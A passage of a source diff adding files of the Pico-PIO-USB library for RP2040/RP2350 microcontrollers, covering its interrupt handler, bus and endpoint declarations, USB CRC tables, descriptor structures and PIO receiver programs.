} else if (pipe->stage == STAGE_STATUS) {
pipe->stage = STAGE_SETUP;
pipe->operation = CONTROL_COMPLETE;
}
}
} else if (device->device_class == CLASS_HUB && (ep->ep_num & EP_IN)) {
// hub interrupt endpoint
device->event = EVENT_HUB_PORT_CHANGE;
}
}
}
}
// clear all
(*ep_reg) &= ~ep_all;
}
// IRQ Handler
static void __no_inline_not_in_flash_func(__pio_usb_host_irq_handler)(uint8_t root_id) {
root_port_t *root = PIO_USB_ROOT_PORT(root_id);
uint32_t const ints = root->ints;
if (ints & PIO_USB_INTS_CONNECT_BITS) {
root->event = EVENT_CONNECT;
}
if (ints & PIO_USB_INTS_DISCONNECT_BITS) {
root->event = EVENT_DISCONNECT;
}
if (ints & PIO_USB_INTS_ENDPOINT_COMPLETE_BITS) {
handle_endpoint_irq(root, PIO_USB_INTS_ENDPOINT_COMPLETE_BITS,
&root->ep_complete);
}
if (ints & PIO_USB_INTS_ENDPOINT_STALLED_BITS) {
handle_endpoint_irq(root, PIO_USB_INTS_ENDPOINT_STALLED_BITS,
&root->ep_stalled);
}
if (ints & PIO_USB_INTS_ENDPOINT_ERROR_BITS) {
handle_endpoint_irq(root, PIO_USB_INTS_ENDPOINT_ERROR_BITS,
&root->ep_error);
}
// clear all
root->ints &= ~ints;
}
// weak alias to __pio_usb_host_irq_handler
void pio_usb_host_irq_handler(uint8_t root_id) __attribute__ ((weak, alias("__pio_usb_host_irq_handler")));
#pragma GCC pop_options
+242
View File
@@ -0,0 +1,242 @@
/**
* Copyright (c) 2021 sekigon-gonnoc
* Ha Thach (thach@tinyusb.org)
*/
#pragma once
#include "hardware/pio.h"
#include "hardware/regs/sysinfo.h"
#include "pio_usb_configuration.h"
#include "usb_definitions.h"
#include <stdint.h>
#include "usb_tx.pio.h"
#include "usb_rx.pio.h"
enum {
PIO_USB_INTS_CONNECT_POS = 0,
PIO_USB_INTS_DISCONNECT_POS,
PIO_USB_INTS_RESET_END_POS,
PIO_USB_INTS_SETUP_REQ_POS,
PIO_USB_INTS_SOF_POS,
PIO_USB_INTS_ENDPOINT_COMPLETE_POS,
PIO_USB_INTS_ENDPOINT_ERROR_POS,
PIO_USB_INTS_ENDPOINT_STALLED_POS,
PIO_USB_INTS_ENDPOINT_CONTINUE_POS,
};
#define PIO_USB_INTS_CONNECT_BITS (1u << PIO_USB_INTS_CONNECT_POS)
#define PIO_USB_INTS_DISCONNECT_BITS (1u << PIO_USB_INTS_DISCONNECT_POS)
#define PIO_USB_INTS_RESET_END_BITS (1u << PIO_USB_INTS_RESET_END_POS)
#define PIO_USB_INTS_SETUP_REQ_BITS (1u << PIO_USB_INTS_SETUP_REQ_POS)
#define PIO_USB_INTS_SOF_BITS (1u << PIO_USB_INTS_SOF_POS)
#define PIO_USB_INTS_ENDPOINT_COMPLETE_BITS \
(1u << PIO_USB_INTS_ENDPOINT_COMPLETE_POS)
#define PIO_USB_INTS_ENDPOINT_ERROR_BITS (1u << PIO_USB_INTS_ENDPOINT_ERROR_POS)
#define PIO_USB_INTS_ENDPOINT_STALLED_BITS \
(1u << PIO_USB_INTS_ENDPOINT_STALLED_POS)
#define PIO_USB_INTS_ENDPOINT_CONTINUE_BITS \
(1u << PIO_USB_INTS_ENDPOINT_CONTINUE_POS)
typedef enum {
PORT_PIN_SE0 = 0b00,
PORT_PIN_FS_IDLE = 0b01,
PORT_PIN_LS_IDLE = 0b10,
PORT_PIN_SE1 = 0b11,
} port_pin_status_t;
typedef struct {
uint16_t div_int;
uint8_t div_frac;
} pio_clk_div_t;
typedef struct {
PIO pio_usb_tx; // could not set to volatile
uint sm_tx;
uint offset_tx;
uint tx_ch;
PIO pio_usb_rx; // could not set to volatile
uint sm_rx;
uint offset_rx;
uint sm_eop;
uint offset_eop;
uint tx_reset_instr;
uint tx_start_instr;
uint rx_reset_instr;
uint rx_reset_instr2;
uint device_rx_irq_num;
int8_t debug_pin_rx;
int8_t debug_pin_eop;
const pio_program_t *fs_tx_program;
const pio_program_t *fs_tx_pre_program;
const pio_program_t *ls_tx_program;
pio_clk_div_t clk_div_fs_tx;
pio_clk_div_t clk_div_fs_rx;
pio_clk_div_t clk_div_ls_tx;
pio_clk_div_t clk_div_ls_rx;
bool need_pre;
bool low_speed;
uint8_t usb_rx_buffer[128];
} pio_port_t;
//--------------------------------------------------------------------+
//
//--------------------------------------------------------------------+
enum {
PIO_USB_MODE_INVALID = 0,
PIO_USB_MODE_DEVICE,
PIO_USB_MODE_HOST,
};
extern usb_device_t pio_usb_device[PIO_USB_DEVICE_CNT];
extern root_port_t pio_usb_root_port[PIO_USB_ROOT_PORT_CNT];
#define PIO_USB_ROOT_PORT(_idx) (pio_usb_root_port + (_idx))
extern endpoint_t pio_usb_ep_pool[PIO_USB_EP_POOL_CNT];
#define PIO_USB_ENDPOINT(_idx) (pio_usb_ep_pool + (_idx))
extern pio_port_t pio_port[1];
#define PIO_USB_PIO_PORT(_idx) (pio_port + (_idx))
//--------------------------------------------------------------------+
// Bus functions
//--------------------------------------------------------------------+
#define IRQ_TX_EOP_MASK (1 << IRQ_TX_EOP)
#define IRQ_TX_ALL_MASK (IRQ_TX_EOP_MASK)
#define IRQ_RX_COMP_MASK (1 << IRQ_RX_EOP)
#define IRQ_RX_START_MASK (1 << IRQ_RX_START)
#define IRQ_RX_ALL_MASK \
((1 << IRQ_RX_EOP) | (1 << IRQ_RX_BS_ERR) | (1 << IRQ_RX_START) | \
(1 << DECODER_TRIGGER))
#define SM_SET_CLKDIV(pio, sm, div) \
pio_sm_set_clkdiv_int_frac(pio, sm, div.div_int, div.div_frac)
#define SM_SET_CLKDIV_MAXSPEED(pio, sm) \
pio_sm_set_clkdiv_int_frac(pio, sm, 1, 0)
void pio_usb_bus_init(pio_port_t *pp, const pio_usb_configuration_t *c,
root_port_t *root);
void pio_usb_bus_prepare_receive(const pio_port_t *pp);
int pio_usb_bus_receive_packet_and_handshake(pio_port_t *pp, uint8_t handshake);
void pio_usb_bus_usb_transfer(pio_port_t *pp, uint8_t *data,
uint16_t len);
uint8_t pio_usb_bus_wait_handshake(pio_port_t *pp);
void pio_usb_bus_send_token(pio_port_t *pp, uint8_t token, uint8_t addr,
uint8_t ep_num);
static __always_inline port_pin_status_t
pio_usb_bus_get_line_state(root_port_t *root) {
#ifdef PICO_RP2350
// RP2350-E9 Errata affect up to rev A2/B0
// workaround: disable input enable (to drain leaked current), then enable it immediately before reading
// Avoid rp2350_chip_version()/gpio_set_input_enabled() to make sure this is in SRAM
uint32_t const chip_id = *((io_ro_32*)(SYSINFO_BASE + SYSINFO_CHIP_ID_OFFSET));
uint32_t const chip_version = (chip_id & SYSINFO_CHIP_ID_REVISION_BITS) >> SYSINFO_CHIP_ID_REVISION_LSB;
if (chip_version <= 2) {
hw_clear_bits(&pads_bank0_hw->io[root->pin_dp], PADS_BANK0_GPIO0_IE_BITS);
hw_clear_bits(&pads_bank0_hw->io[root->pin_dm], PADS_BANK0_GPIO0_IE_BITS);
// short delay to drain leaked current, required when overclocked CPU, tested with 264Mhz
__asm volatile("nop; nop; nop; nop; nop; nop; nop; nop;");
hw_set_bits(&pads_bank0_hw->io[root->pin_dp], PADS_BANK0_GPIO0_IE_BITS);
hw_set_bits(&pads_bank0_hw->io[root->pin_dm], PADS_BANK0_GPIO0_IE_BITS);
}
#endif
uint8_t dp = gpio_get(root->pin_dp) ? 0 : 1;
uint8_t dm = gpio_get(root->pin_dm) ? 0 : 1;
return (dm << 1) | dp;
}
static __always_inline void pio_usb_bus_start_receive(const pio_port_t *pp) {
pp->pio_usb_rx->irq = IRQ_RX_ALL_MASK;
while ((pp->pio_usb_rx->irq & IRQ_RX_ALL_MASK) != 0) {
continue;
}
}
//--------------------------------------------------------------------+
// Low Level functions
//--------------------------------------------------------------------+
void pio_usb_ll_configure_endpoint(endpoint_t *ep,
uint8_t const *desc_endpoint);
bool pio_usb_ll_transfer_start(endpoint_t *ep, uint8_t *buffer,
uint16_t buflen);
bool pio_usb_ll_transfer_continue(endpoint_t *ep, uint16_t xferred_bytes);
void pio_usb_ll_transfer_complete(endpoint_t *ep, uint32_t flag);
static inline __force_inline uint16_t
pio_usb_ll_get_transaction_len(endpoint_t *ep) {
uint16_t remaining = ep->total_len - ep->actual_len;
return (remaining < ep->size) ? remaining : ep->size;
}
enum {
PIO_USB_TX_ENCODED_DATA_SE0 = 0,
PIO_USB_TX_ENCODED_DATA_K = 1,
PIO_USB_TX_ENCODED_DATA_COMP = 2,
PIO_USB_TX_ENCODED_DATA_J = 3,
};
uint8_t pio_usb_ll_encode_tx_data(uint8_t const *buffer, uint8_t buffer_len,
uint8_t *encoded_data);
//--------------------------------------------------------------------
// Host Controller functions
//--------------------------------------------------------------------
// Host IRQ Handler
void pio_usb_host_irq_handler(uint8_t root_idx);
void pio_usb_host_port_reset_start(uint8_t root_idx);
void pio_usb_host_port_reset_end(uint8_t root_idx);
void pio_usb_host_close_device(uint8_t root_idx, uint8_t device_address);
bool pio_usb_host_endpoint_open(uint8_t root_idx, uint8_t device_address,
uint8_t const *desc_endpoint, bool need_pre);
bool pio_usb_host_endpoint_close(uint8_t root_idx, uint8_t device_address,
uint8_t ep_address);
bool pio_usb_host_send_setup(uint8_t root_idx, uint8_t device_address,
uint8_t const setup_packet[8]);
bool pio_usb_host_endpoint_transfer(uint8_t root_idx, uint8_t device_address,
uint8_t ep_address, uint8_t *buffer,
uint16_t buflen);
bool pio_usb_host_endpoint_abort_transfer(uint8_t root_idx, uint8_t device_address,
uint8_t ep_address);
//--------------------------------------------------------------------
// Device Controller functions
//--------------------------------------------------------------------
// Device IRQ Handler
void pio_usb_device_irq_handler(uint8_t root_idx);
void pio_usb_device_set_address(uint8_t dev_addr);
bool pio_usb_device_endpoint_open(uint8_t const *desc_endpoint);
bool pio_usb_device_transfer(uint8_t ep_address, uint8_t *buffer,
uint16_t buflen);
static inline __force_inline endpoint_t *
pio_usb_device_get_endpoint_by_address(uint8_t ep_address) {
// index = 2*num + dir e.g out1, in1, out2, in2
uint8_t const ep_idx = ((ep_address & 0x7f) << 1) | (ep_address >> 7);
return PIO_USB_ENDPOINT(ep_idx);
}
+31
View File
@@ -0,0 +1,31 @@
#pragma once
#if PICO_SDK_VERSION_MAJOR < 2
static __always_inline void pio_sm_set_jmp_pin(PIO pio, uint sm, uint jmp_pin) {
pio->sm[sm].execctrl =
(pio->sm[sm].execctrl & ~PIO_SM0_EXECCTRL_JMP_PIN_BITS) |
(jmp_pin << PIO_SM0_EXECCTRL_JMP_PIN_LSB);
}
static_assert(PIO1_BASE - PIO0_BASE == (1u << 20), "hardware layout mismatch");
#define PIO_INSTANCE(instance) ((pio_hw_t *)(PIO0_BASE + (instance) * (1u << 20)))
static __always_inline PIO pio_get_instance(uint instance) {
return PIO_INSTANCE(instance);
}
#define PIO_NUM(pio) (((uintptr_t)(pio) - PIO0_BASE) >> 20)
#define NUM_PIO_IRQS (2u)
#define PIO_IRQ_NUM(pio, irqn) (PIO0_IRQ_0 + NUM_PIO_IRQS * PIO_NUM(pio) + (irqn))
#endif
#if PICO_SDK_VERSION_MAJOR < 2 || (PICO_SDK_VERSION_MAJOR == 2 && PICO_SDK_VERSION_MINOR < 1)
static void pio_sm_set_pins_with_mask64(PIO pio, uint sm, uint64_t pin_values, uint64_t pin_mask) {
pio_sm_set_pins_with_mask(pio, sm, (uint32_t) pin_values, (uint32_t) pin_mask);
}
static void pio_sm_set_pindirs_with_mask64(PIO pio, uint sm, uint64_t pin_values, uint64_t pin_mask) {
pio_sm_set_pindirs_with_mask(pio, sm, (uint32_t) pin_values, (uint32_t) pin_mask);
}
#endif
+63
View File
@@ -0,0 +1,63 @@
#include "usb_crc.h"
const uint8_t __not_in_flash("crc5_tbl") crc5_tbl[32] = {
0x00, 0x0b, 0x16, 0x1d, 0x05, 0x0e, 0x13, 0x18, 0x0a, 0x01,
0x1c, 0x17, 0x0f, 0x04, 0x19, 0x12, 0x14, 0x1f, 0x02, 0x09,
0x11, 0x1a, 0x07, 0x0c, 0x1e, 0x15, 0x08, 0x03, 0x1b, 0x10,
0x0d, 0x06,
};
uint8_t __not_in_flash_func(calc_usb_crc5)(uint16_t data) {
data = data ^ 0x1f;
const uint8_t lsb = (data >> 1) & 0x1f;
const uint8_t msb = (data >> 6) & 0x1f;
uint8_t crc = (data & 1) ? 0x14 : 0x00;
crc = crc5_tbl[(lsb ^ crc)];
crc = crc5_tbl[(msb ^ crc)];
return crc ^ 0x1f;
}
// Place to RAM
const uint16_t __not_in_flash("crc_tbl") crc16_tbl[256] = {
0x0000, 0xc0c1, 0xc181, 0x0140, 0xc301, 0x03c0, 0x0280, 0xc241, 0xc601,
0x06c0, 0x0780, 0xc741, 0x0500, 0xc5c1, 0xc481, 0x0440, 0xcc01, 0x0cc0,
0x0d80, 0xcd41, 0x0f00, 0xcfc1, 0xce81, 0x0e40, 0x0a00, 0xcac1, 0xcb81,
0x0b40, 0xc901, 0x09c0, 0x0880, 0xc841, 0xd801, 0x18c0, 0x1980, 0xd941,
0x1b00, 0xdbc1, 0xda81, 0x1a40, 0x1e00, 0xdec1, 0xdf81, 0x1f40, 0xdd01,
0x1dc0, 0x1c80, 0xdc41, 0x1400, 0xd4c1, 0xd581, 0x1540, 0xd701, 0x17c0,
0x1680, 0xd641, 0xd201, 0x12c0, 0x1380, 0xd341, 0x1100, 0xd1c1, 0xd081,
0x1040, 0xf001, 0x30c0, 0x3180, 0xf141, 0x3300, 0xf3c1, 0xf281, 0x3240,
0x3600, 0xf6c1, 0xf781, 0x3740, 0xf501, 0x35c0, 0x3480, 0xf441, 0x3c00,
0xfcc1, 0xfd81, 0x3d40, 0xff01, 0x3fc0, 0x3e80, 0xfe41, 0xfa01, 0x3ac0,
0x3b80, 0xfb41, 0x3900, 0xf9c1, 0xf881, 0x3840, 0x2800, 0xe8c1, 0xe981,
0x2940, 0xeb01, 0x2bc0, 0x2a80, 0xea41, 0xee01, 0x2ec0, 0x2f80, 0xef41,
0x2d00, 0xedc1, 0xec81, 0x2c40, 0xe401, 0x24c0, 0x2580, 0xe541, 0x2700,
0xe7c1, 0xe681, 0x2640, 0x2200, 0xe2c1, 0xe381, 0x2340, 0xe101, 0x21c0,
0x2080, 0xe041, 0xa001, 0x60c0, 0x6180, 0xa141, 0x6300, 0xa3c1, 0xa281,
0x6240, 0x6600, 0xa6c1, 0xa781, 0x6740, 0xa501, 0x65c0, 0x6480, 0xa441,
0x6c00, 0xacc1, 0xad81, 0x6d40, 0xaf01, 0x6fc0, 0x6e80, 0xae41, 0xaa01,
0x6ac0, 0x6b80, 0xab41, 0x6900, 0xa9c1, 0xa881, 0x6840, 0x7800, 0xb8c1,
0xb981, 0x7940, 0xbb01, 0x7bc0, 0x7a80, 0xba41, 0xbe01, 0x7ec0, 0x7f80,
0xbf41, 0x7d00, 0xbdc1, 0xbc81, 0x7c40, 0xb401, 0x74c0, 0x7580, 0xb541,
0x7700, 0xb7c1, 0xb681, 0x7640, 0x7200, 0xb2c1, 0xb381, 0x7340, 0xb101,
0x71c0, 0x7080, 0xb041, 0x5000, 0x90c1, 0x9181, 0x5140, 0x9301, 0x53c0,
0x5280, 0x9241, 0x9601, 0x56c0, 0x5780, 0x9741, 0x5500, 0x95c1, 0x9481,
0x5440, 0x9c01, 0x5cc0, 0x5d80, 0x9d41, 0x5f00, 0x9fc1, 0x9e81, 0x5e40,
0x5a00, 0x9ac1, 0x9b81, 0x5b40, 0x9901, 0x59c0, 0x5880, 0x9841, 0x8801,
0x48c0, 0x4980, 0x8941, 0x4b00, 0x8bc1, 0x8a81, 0x4a40, 0x4e00, 0x8ec1,
0x8f81, 0x4f40, 0x8d01, 0x4dc0, 0x4c80, 0x8c41, 0x4400, 0x84c1, 0x8581,
0x4540, 0x8701, 0x47c0, 0x4680, 0x8641, 0x8201, 0x42c0, 0x4380, 0x8341,
0x4100, 0x81c1, 0x8081, 0x4040};
uint16_t __not_in_flash_func(calc_usb_crc16)(const uint8_t *data, uint16_t len) {
uint16_t crc = 0xffff;
for (int idx = 0; idx < len; idx++) {
crc = (crc >> 8) ^ crc16_tbl[(crc ^ data[idx]) & 0xff];
}
return crc ^ 0xffff;
}
+22
View File
@@ -0,0 +1,22 @@
#pragma once
#include <stdint.h>
#include "pico/stdlib.h"
// Calc CRC5-USB of 11bit data
uint8_t calc_usb_crc5(uint16_t data);
// Calc CRC16-USB of array
uint16_t calc_usb_crc16(const uint8_t *data, uint16_t len);
extern const uint16_t crc16_tbl[256];
static inline uint16_t __time_critical_func(update_usb_crc16)(uint16_t crc, uint8_t data) {
crc = (crc >> 8) ^ crc16_tbl[(crc ^ data) & 0xff];
return crc;
}
#ifndef PICO_DEFAULT_TIMER_INSTANCE // not defined in sdk v1
#define PICO_DEFAULT_TIMER_INSTANCE() timer_hw
#endif
// time_us_32() not force inline and may be in flash, implement timestamp ourselves
#define get_time_us_32() (PICO_DEFAULT_TIMER_INSTANCE()->timerawl)
+348
View File
@@ -0,0 +1,348 @@
#pragma once
#include <stdint.h>
#include "pio_usb_configuration.h"
typedef enum {
CONTROL_NONE,
CONTROL_IN,
CONTROL_OUT,
CONTROL_COMPLETE,
CONTROL_ERROR,
} control_transfer_operation_t;
typedef enum {
EP_IN = 0x80,
EP_OUT = 0x00,
} ep_type_t;
typedef enum {
STAGE_SETUP,
STAGE_DATA,
STAGE_IN,
STAGE_OUT,
STAGE_STATUS,
STAGE_COMPLETE,
STAGE_ERROR
} setup_transfer_stage_t;
typedef enum {
STAGE_IDLE,
STAGE_DEVICE,
STAGE_CONFIG,
STAGE_CONFIG2,
STAGE_INTERFACE,
STAGE_ENDPOINT
} usb_enumeration_stage_t;
typedef struct {
uint8_t *tx_address;
uint8_t tx_length;
} packet_info_t;
typedef struct {
volatile uint8_t data_in_num;
volatile uint16_t buffer_idx;
volatile uint8_t *rx_buffer;
volatile packet_info_t setup_packet;
volatile packet_info_t out_data_packet;
volatile int16_t request_length;
volatile control_transfer_operation_t operation;
volatile setup_transfer_stage_t stage;
} control_pipe_t;
typedef struct {
volatile uint8_t root_idx;
volatile uint8_t dev_addr;
bool need_pre;
bool is_tx; // Host out or Device in
volatile uint8_t ep_num;
volatile bool new_data_flag;
volatile uint16_t size;
volatile uint8_t attr;
volatile uint8_t interval;
volatile uint8_t interval_counter;
volatile uint8_t data_id; // data0 or data1
volatile bool stalled;
volatile bool has_transfer;
volatile bool transfer_started;
volatile bool transfer_aborted;
uint8_t buffer[(64 + 4) * 2 * 7 / 6 + 2];
uint8_t encoded_data_len;
uint8_t failed_count;
uint8_t *app_buf;
uint16_t total_len;
uint16_t actual_len;
} endpoint_t;
typedef enum {
EVENT_NONE,
EVENT_CONNECT,
EVENT_DISCONNECT,
EVENT_HUB_PORT_CHANGE,
} usb_device_event_t;
typedef struct struct_usb_device_t usb_device_t;
typedef struct struct_root_port_t {
volatile bool initialized;
volatile bool addr0_exists;
volatile uint8_t pin_dp;
volatile uint8_t pin_dm;
volatile usb_device_event_t event;
usb_device_t *root_device;
PIO_USB_PINOUT pinout;
volatile bool is_fullspeed;
volatile bool connected;
volatile bool suspended;
uint8_t mode;
// register interface
volatile uint32_t ints; // interrupt status
volatile uint32_t ep_complete;
volatile uint32_t ep_error;
volatile uint32_t ep_stalled;
volatile uint32_t ep_continue;
// device only
uint8_t dev_addr;
uint8_t *setup_packet;
} root_port_t;
struct struct_usb_device_t {
volatile bool connected;
volatile bool enumerated;
volatile usb_device_event_t event;
volatile uint8_t address;
volatile uint16_t vid;
volatile uint16_t pid;
volatile uint8_t device_class;
volatile bool is_fullspeed;
volatile bool is_root;
control_pipe_t control_pipe;
uint8_t endpoint_id[PIO_USB_DEV_EP_CNT];
uint8_t child_devices[PIO_USB_HUB_PORT_CNT];
struct struct_usb_device_t *parent_device;
uint8_t parent_port;
root_port_t *root;
};
enum {
USB_SYNC = 0x80,
USB_PID_OUT = 0xe1,
USB_PID_IN = 0x69,
USB_PID_SOF = 0xa5,
USB_PID_SETUP = 0x2d,
USB_PID_DATA0 = 0xc3,
USB_PID_DATA1 = 0x4b,
USB_PID_ACK = 0xd2,
USB_PID_NAK = 0x5a,
USB_PID_STALL = 0x1e,
USB_PID_PRE = 0x3c,
USB_CRC16_PLACE = 0,
};
enum {
DESC_TYPE_DEVICE = 0x01,
DESC_TYPE_CONFIG = 0x02,
DESC_TYPE_STRING = 0x03,
DESC_TYPE_INTERFACE = 0x04,
DESC_TYPE_ENDPOINT = 0x05,
DESC_TYPE_HID = 0x21,
DESC_TYPE_HID_REPORT = 0x22,
};
enum {
CLASS_HID = 0x03,
CLASS_HUB = 0x09,
};
enum {
EP_ATTR_CONTROL = 0x00,
EP_ATTR_ISOCHRONOUS = 0x01,
EP_ATTR_BULK = 0x02,
EP_ATTR_INTERRUPT = 0x03,
EP_ATTR_ENUMERATING = 0x80
};
typedef struct {
// uint8_t sync;
// uint8_t pid;
uint8_t request_type;
uint8_t request;
uint8_t value_lsb;
uint8_t value_msb;
uint8_t index_lsb;
uint8_t index_msb;
uint8_t length_lsb;
uint8_t length_msb;
// uint8_t crc16[2];
} usb_setup_packet_t;
typedef struct {
uint8_t length;
uint8_t type;
uint8_t bcd_usb[2];
uint8_t device_class;
uint8_t subclass;
uint8_t protocol;
uint8_t max_packet_size;
uint8_t vid[2];
uint8_t pid[2];
uint8_t bcd_device[2];
uint8_t manufacture;
uint8_t product;
uint8_t serial;
uint8_t num_configu;
} device_descriptor_t;
typedef struct {
uint8_t length;
uint8_t type;
uint8_t string[62];
} __attribute__((aligned(2))) string_descriptor_t;
typedef struct {
uint8_t length;
uint8_t type;
uint8_t inum;
uint8_t altsetting;
uint8_t numep;
uint8_t iclass;
uint8_t isubclass;
uint8_t iprotocol;
uint8_t iface;
} interface_descriptor_t;
typedef struct {
uint8_t length;
uint8_t type;
uint8_t epaddr;
uint8_t attr;
uint8_t max_size[2];
uint8_t interval;
} endpoint_descriptor_t;
typedef struct {
uint8_t length;
uint8_t type;
uint8_t bcd_hid[2];
uint8_t contry_code;
uint8_t num_desc;
uint8_t desc_type;
uint8_t desc_len[2];
} hid_descriptor_t;
typedef struct configuration_descriptor_tag {
uint8_t length;
uint8_t type;
uint8_t total_length_lsb;
uint8_t total_length_msb;
uint8_t num_interfaces;
uint8_t configuration_value;
uint8_t configuration;
uint8_t attributes;
uint8_t max_power;
} configuration_descriptor_t;
typedef struct {
uint8_t lenght;
uint8_t type;
uint8_t port_num;
uint8_t chara_lsb;
uint8_t chara_msb;
uint8_t pow_on_time;
uint8_t current;
uint8_t removable;
} hub_descriptor_t;
typedef struct {
uint16_t port_status;
uint16_t port_change;
} hub_port_status_t;
enum {
HUB_SET_PORT_RESET = 4,
HUB_SET_PORT_POWER = 8,
HUB_CLR_PORT_CONNECTION = 16,
HUB_CLR_PORT_ENABLE = 17,
HUB_CLR_PORT_SUSPEND = 18,
HUB_CLR_PORT_RESET = 20,
};
enum {
HUB_STAT_PORT_CONNECTION = (1 << 0),
HUB_STAT_PORT_ENABLE = (1 << 1),
HUB_STAT_PORT_SUSPEND = (1 << 2),
HUB_STAT_PORT_OC = (1 << 3),
HUB_STAT_PORT_RESET = (1 << 4),
HUB_STAT_PORT_POWER = (1 << 8),
HUB_STAT_PORT_LOWSPEED = (1 << 9),
};
enum {
HUB_CHANGE_PORT_CONNECTION = (1 << 0),
HUB_CHANGE_PORT_ENABLE = (1 << 1),
HUB_CHANGE_PORT_SUSPEND = (1 << 2),
HUB_CHANGE_PORT_OC = (1 << 3),
HUB_CHANGE_PORT_RESET = (1 << 4),
};
enum {
USB_REQ_DIR_IN = 0x80,
USB_REQ_DIR_OUT = 0x00,
USB_REQ_TYP_STANDARD = 0x00,
USB_REQ_TYP_CLASS = 0x20,
USB_REQ_TYP_VENDOR = 0x40,
USB_REQ_REC_DEVICE = 0x00,
USB_REQ_REC_IFACE = 0x01,
USB_REQ_REC_EP = 0x02,
USB_REQ_REC_OTHER = 0x03,
};
#define GET_DEVICE_DESCRIPTOR_REQ_DEFAULT \
{ USB_REQ_DIR_IN, 0x06, 0, 0x01, 0, 0, 0x12, 0 }
#define GET_CONFIGURATION_DESCRIPTOR_REQ_DEFAULT \
{ USB_REQ_DIR_IN, 0x06, 0, 0x02, 0, 0, 0x09, 0 }
#define SET_CONFIGURATION_REQ_DEFAULT \
{ USB_REQ_DIR_OUT, 0x09, 0, 0, 0, 0, 0, 0 }
#define SET_ADDRESS_REQ_DEFAULT \
{ USB_REQ_DIR_OUT, 0x5, 0x02, 0, 0, 0, 0, 0 }
#define SET_HID_IDLE_REQ_DEFAULT \
{ USB_REQ_TYP_CLASS | USB_REQ_REC_IFACE, 0x0A, 0, 0, 0, 0, 0, 0 }
#define GET_HID_REPORT_DESCRIPTOR_DEFAULT \
{ USB_REQ_DIR_IN | USB_REQ_REC_IFACE, 0x06, 0, 0x22, 0, 0, 0xff, 0 }
#define GET_HUB_DESCRPTOR_REQUEST \
{ \
USB_REQ_DIR_IN | USB_REQ_TYP_CLASS | USB_REQ_REC_DEVICE, 0x06, 0, 0x29, 0, \
0, 8, 0 \
}
#define GET_HUB_PORT_STATUS_REQUEST \
{ \
USB_REQ_DIR_IN | USB_REQ_TYP_CLASS | USB_REQ_REC_OTHER, 0, 0, 0, 0, 0, 4, \
0 \
}
#define SET_HUB_FEATURE_REQUEST \
{ \
USB_REQ_DIR_OUT | USB_REQ_TYP_CLASS | USB_REQ_REC_OTHER, 0x03, 0, 0, 0, 0, \
0, 0 \
}
#define CLEAR_HUB_FEATURE_REQUEST \
{ \
USB_REQ_DIR_OUT | USB_REQ_TYP_CLASS | USB_REQ_REC_OTHER, 0x01, 0, 0, 0, 0, \
0, 0 \
}
typedef struct {
const uint8_t *device;
const uint8_t *config;
const uint8_t **hid_report;
const string_descriptor_t *string;
} usb_descriptor_buffers_t;
+228
View File
@@ -0,0 +1,228 @@
; Copyright (c) 2021-2024 sekigon-gonnoc
.define public IRQ_RX_BS_ERR 1 ; bit stuffinc error
.define public IRQ_RX_EOP 2 ; eop detect flag
.define public IRQ_RX_START 3 ; packet start flag
.define public DECODER_TRIGGER 4
.define BIT_REPEAT_COUNT 6 ; bit repeat counter
.define db0 0
.define db1 1
; USB signal edge and eop detector
; 17 instruction
; FS(12M) LS(1.5M)
; Run at 96MHz 12MHz
; jmp_pin d- d+
; in_pin d+ d-
; both d+/d- pin should be input invert overrideed
.program usb_edge_detector
eop:
irq wait IRQ_RX_EOP
start:
jmp pin start ; Wait fall edge
irq IRQ_RX_START [1]
.wrap_target
pin_still_low:
irq DECODER_TRIGGER [1] ; Trigger NRZI decoder
; Resync on rising edge
pin_low:
jmp pin pin_went_high
jmp pin pin_went_high
pin_went_low:
jmp pin pin_went_high
jmp pin pin_went_high
jmp pin pin_went_high
jmp pin pin_went_high
.wrap
pin_still_high:
mov x, isr [1]
jmp x-- eop ; Jump to eop if jmp_pin and in_pin are high because both inputs are inverted
; Jump to here on rising edge
pin_went_high:
mov isr, null [1]
irq DECODER_TRIGGER ; Trigger NRZI decoder
in pins, 1 ; Capture the pin to check eop.
jmp pin pin_still_high
jmp pin_went_low ; To adjust interval of decoder trigger, jump to pin_went_low (not pin_low)
.program usb_edge_detector_debug
.side_set 1
eop:
irq wait IRQ_RX_EOP side db0
start:
jmp pin start side db1 ; Wait fall edge
irq IRQ_RX_START [1] side db0
.wrap_target
pin_still_low:
irq DECODER_TRIGGER [1] side db0 ; Trigger NRZI decoder
; Resync on rising edge
pin_low:
jmp pin pin_went_high side db1
jmp pin pin_went_high side db1
pin_went_low:
jmp pin pin_went_high side db1
jmp pin pin_went_high side db1
jmp pin pin_went_high side db1
jmp pin pin_went_high side db1
.wrap
pin_still_high:
mov x, isr [1] side db1
jmp x-- eop side db1 ; Jump to eop if jmp_pin and in_pin are high because both inputs are inverted
; Jump to here on rising edge
pin_went_high:
mov isr, null [1] side db1
irq DECODER_TRIGGER side db0 ; Trigger NRZI decoder
in pins, 1 side db0 ; Capture the pin to check eop.
jmp pin pin_still_high side db0
jmp pin_went_low side db1 ; To adjust interval of decoder trigger, jump to pin_went_low (not pin_low)
; USB NRZI data decoder
; 15 instruction
; FS(12M) LS(1.5M)
; Run at as fast as possible
; jmp_pin d+ d-
; both d+/d- pin should be input invert overrideed
; Fill OSR by 1 and set 0 to x before runnning this program
.program usb_nrzi_decoder
start:
; set x, 0
.wrap_target
set_y:
set y, BIT_REPEAT_COUNT
irq_wait:
wait 1 irq DECODER_TRIGGER ; wait signal from edge detector
jmp !y flip ; ignore stuff bit, without error check
jmp PIN pin_high
pin_low:
jmp !x K1
K2:
; x==1
J1:
; x==0
in null, 1
flip:
mov x, ~x
.wrap
pin_high:
jmp !x J1
J2:
; x==1
K1:
; x==0
in osr, 1
jmp y-- irq_wait ; y is always not 0 at here
.program usb_nrzi_decoder_debug
.side_set 1 opt
start:
; set x, 0 side db0
.wrap_target
set_y:
set y, BIT_REPEAT_COUNT
irq_wait:
wait 1 irq DECODER_TRIGGER ; wait signal from edge detector
jmp !y flip ; ignore stuff bit, without error check
jmp PIN pin_high
pin_low:
jmp !x K1 side db0
K2:
; x==1
J1:
; x==0
in null, 1
flip:
mov x, ~x
.wrap
pin_high:
jmp !x J1 side db1
K1:
; x==0
J2:
; x==1
in osr, 1
jmp y-- irq_wait ; y is always not 0 at here
% c-sdk {
#include "hardware/clocks.h"
#include "sdk_compat.h"
static inline void usb_rx_fs_program_init(PIO pio, uint sm, uint offset, uint pin_dp, uint pin_dm, int pin_debug) {
if (pin_dp < pin_dm) {
pio_sm_set_consecutive_pindirs(pio, sm, pin_dp, 2, false);
} else {
